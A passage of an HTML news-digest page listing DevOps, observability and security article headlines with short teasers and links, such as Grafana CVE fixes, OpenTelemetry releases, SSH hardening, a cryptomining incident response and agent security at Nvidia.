          📄 Manage vulnerability noise at scale with auto-dismiss policies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-manage-vulnerability-noise-at-scale-with-auto-dismiss-policies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Security scanners are essential, but not every finding requires action. Test code, vendored dependencies, generated files, and known false positives create noise that buries the vulnerabilities that a</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/auto-dismiss-vulnerability-management-policy/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-aiops-and-mlops-made-simple-automating-vertex-ai-with-red-hat-ansible-automation-platform" class="group relative scroll-mt-24">
        <a href="#h3-aiops-and-mlops-made-simple-automating-vertex-ai-with-red-hat-ansible-automation-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AIOps and MLOps made simple: Automating Vertex AI with Red Hat Ansible Automation Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aiops-and-mlops-made-simple-automating-vertex-ai-with-red-hat-ansible-automation-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the era of gen AI and rapid machine learning (ML) adoption, enterprise AI is no longer just a research experiment—it’s a core business driver. But as organizations rush to operationalize their AI i</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/aiops-and-mlops-made-simple-automating-vertex-ai-red-hat-ansible-automation-platform"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-opentelemetry-gets-kotlin-multiplatform-api-sdk" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-gets-kotlin-multiplatform-api-sdk" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Gets Kotlin Multiplatform API & SDK
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-gets-kotlin-multiplatform-api-sdk"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenTelemetry expands its observability reach with a native Kotlin Multiplatform API and SDK. Contributed by Embrace, this update enables vendor-neutral telemetry across JVM, iOS, and web, offering id</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/opentelemetry-kotlin-multiplatform-api-sdk-launch/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-timestream-for-influxdb-now-supports-advanced-metrics" class="group relative scroll-mt-24">
        <a href="#h3-amazon-timestream-for-influxdb-now-supports-advanced-metrics" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Timestream for InfluxDB Now Supports Advanced Metrics
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-timestream-for-influxdb-now-supports-advanced-metrics"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Timestream for InfluxDB now offers Advanced Metrics, providing comprehensive visibility into your database performance and health. This new capability automatically publishes detailed operation</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-timestream-for-influxdb-advanced-metrics/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetry-profiles-enters-public-alpha" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-profiles-enters-public-alpha" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Profiles Enters Public Alpha
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-profiles-enters-public-alpha"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Since OpenTelemetry first introduced Profiles, momentum has only grown towards building a unified industry standard for continuous production profiling, standing alongside traces, metrics, and logs. T</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/profiles-alpha/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-we-give-we-grow-celebrating-womens-history-month-at-new-relic" class="group relative scroll-mt-24">
        <a href="#h3-we-give-we-grow-celebrating-womens-history-month-at-new-relic" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 We Give, We Grow: Celebrating Women’s History Month at New Relic
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-we-give-we-grow-celebrating-womens-history-month-at-new-relic"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See how New Relic celebrated Women’s History Month through our &quot;We Give, We Grow&quot; theme, featuring global networking, AI panels, community impact, and more.</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/we-give-we-grow-celebrating-womens-history-month-at-new-relic"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-grafana-security-release-critical-and-high-severity-security-fixes-for-cve-2026-27876-and-cve-2026-27880" class="group relative scroll-mt-24">
        <a href="#h3-grafana-security-release-critical-and-high-severity-security-fixes-for-cve-2026-27876-and-cve-2026-27880" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Grafana security release: Critical and high severity security fixes for CVE-2026-27876 and CVE-2026-27880
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-grafana-security-release-critical-and-high-severity-security-fixes-for-cve-2026-27876-and-cve-2026-27880"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today we are releasing Grafana 12.4.2 along with patches for Grafana 12.3, 12.2, 12.1, and 11.6, which include critical and high severity security fixes. We recommend that you install the newly releas</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/grafana-security-release-critical-and-high-severity-security-fixes-for-cve-2026-27876-and-cve-2026-27880/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-from-raw-data-to-flame-graphs-a-deep-dive-into-how-the-opentelemetry-ebpf-profiler-symbolizes-go" class="group relative scroll-mt-24">
        <a href="#h3-from-raw-data-to-flame-graphs-a-deep-dive-into-how-the-opentelemetry-ebpf-profiler-symbolizes-go" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From raw data to flame graphs: A deep dive into how the OpenTelemetry eBPF profiler symbolizes Go
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-raw-data-to-flame-graphs-a-deep-dive-into-how-the-opentelemetry-ebpf-profiler-symbolizes-go"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Imagine you&#39;re troubleshooting a production issue: your application is slow, the CPU is spiking, and users are complaining. You turn to your profiler for answers—after all, this is exactly what it&#39;s b</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/deep-dive-into-how-the-opentelemetry-ebpf-profiler-symbolizes-go/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloud-monitoring-tools-5-best-platforms-to-evaluate-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-cloud-monitoring-tools-5-best-platforms-to-evaluate-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloud Monitoring Tools: 5 Best Platforms to Evaluate in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-monitoring-tools-5-best-platforms-to-evaluate-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover cloud monitoring tools that provide real-time visibility, faster troubleshooting, and less noise across services. See how New Relic helps teams act.</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/cloud-monitoring-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-comparing-the-best-aiops-tools-for-faster-more-reliable-it-ops" class="group relative scroll-mt-24">
        <a href="#h3-comparing-the-best-aiops-tools-for-faster-more-reliable-it-ops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Comparing The Best AIOps Tools for Faster, More Reliable IT Ops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-comparing-the-best-aiops-tools-for-faster-more-reliable-it-ops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Compare the best AIOps tools for cutting alert noise, speeding resolution, and improving reliability. See how New Relic helps teams act faster.</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/ai/best-aiops-tools"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-use-apm-metrics-to-optimize-application-performance" class="group relative scroll-mt-24">
        <a href="#h3-how-to-use-apm-metrics-to-optimize-application-performance" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Use APM Metrics to Optimize Application Performance
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-use-apm-metrics-to-optimize-application-performance"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to use APM metrics to optimize application performance, reduce bottlenecks, and improve reliability with actionable insights from New Relic.</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/apm/how-to-use-apm-metrics-to-optimize-application-performance"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-detect-issues-in-your-zabbix-instance-before-its-too-late" class="group relative scroll-mt-24">
        <a href="#h3-detect-issues-in-your-zabbix-instance-before-its-too-late" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Detect Issues in Your Zabbix Instance Before It’s Too Late
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-detect-issues-in-your-zabbix-instance-before-its-too-late"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, I will show you how to detect performance issues in your Zabbix instance – in advance! You might be using Zabbix to monitor your infrastructure, devices, and applications, but are y</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/detect-issues-in-your-zabbix-instance-before-its-too-late/32741/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-openrouter-and-grafana-cloud-bring-observability-to-llm-powered-applications" class="group relative scroll-mt-24">
        <a href="#h3-how-openrouter-and-grafana-cloud-bring-observability-to-llm-powered-applications" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How OpenRouter and Grafana Cloud bring observability to LLM-powered applications
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-openrouter-and-grafana-cloud-bring-observability-to-llm-powered-applications"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Chris Watts is Head of Enterprise Engineering at OpenRouter, building infrastructure for AI applications. Previously at Amazon and a startup founder. As large language models become core infrastructur</p>
<p><strong>📅 Mar 24, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/how-openrouter-and-grafana-cloud-bring-observability-to-llm-powered-applications/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-nextjs-observability-gaps-and-how-to-close-them" class="group relative scroll-mt-24">
        <a href="#h3-nextjs-observability-gaps-and-how-to-close-them" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Next.js observability gaps and how to close them
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nextjs-observability-gaps-and-how-to-close-them"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This blog is based on a recent live workshop. You can watch the the full livestream on Youtube. Next.js gives you a lot for free; server-side rendering, file-ba...</p>
<p><strong>📅 Mar 24, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/next-js-observability-gaps-how-to-close-them/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-harden-ubuntu-ssh-from-static-keys-to-cloud-identity" class="group relative scroll-mt-24">
        <a href="#h3-how-to-harden-ubuntu-ssh-from-static-keys-to-cloud-identity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Harden Ubuntu SSH: From static keys to cloud identity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-harden-ubuntu-ssh-from-static-keys-to-cloud-identity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>30 years after its introduction, Secure Shell (SSH) remains the ubiquitous gateway for administration, making it a primary target for brute force attacks and lateral movement within enterprise environ</p>
<p><strong>📅 Mar 30, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/how-to-harden-ubuntu-ssh-cloud"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-nvidias-nemoclaw-has-three-layers-of-agent-security-none-of-them-solve-the-real-problem" class="group relative scroll-mt-24">
        <a href="#h3-nvidias-nemoclaw-has-three-layers-of-agent-security-none-of-them-solve-the-real-problem" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Nvidia’s NemoClaw has three layers of agent security. None of them solve the real problem.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nvidias-nemoclaw-has-three-layers-of-agent-security-none-of-them-solve-the-real-problem"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The speed of LLM adoption demands that we check its trajectory from time to time. CEO Jensen Huang, talking at The post Nvidia’s NemoClaw has three layers of agent security. None of them solve the rea</p>
<p><strong>📅 Mar 28, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/nvidia-nemoclaw-openclaw-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-8220scanner-report-has-to-be-green8221-trap" class="group relative scroll-mt-24">
        <a href="#h3-the-8220scanner-report-has-to-be-green8221-trap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The &#8220;scanner report has to be green&#8221; trap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-8220scanner-report-has-to-be-green8221-trap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Stability, backports, and hidden risks of the bleeding edge In the modern DevSecOps world, CISOs are constantly looking for signals in the noise, and the outputs of security scanners often carry a lot</p>
<p><strong>📅 Mar 27, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/stability-backports-and-hidden-risks-of-the-bleeding-edge"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-modern-linux-identity-management-from-local-auth-to-the-cloud-with-ubuntu" class="group relative scroll-mt-24">
        <a href="#h3-modern-linux-identity-management-from-local-auth-to-the-cloud-with-ubuntu" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Modern Linux identity management: from local auth to the cloud with Ubuntu
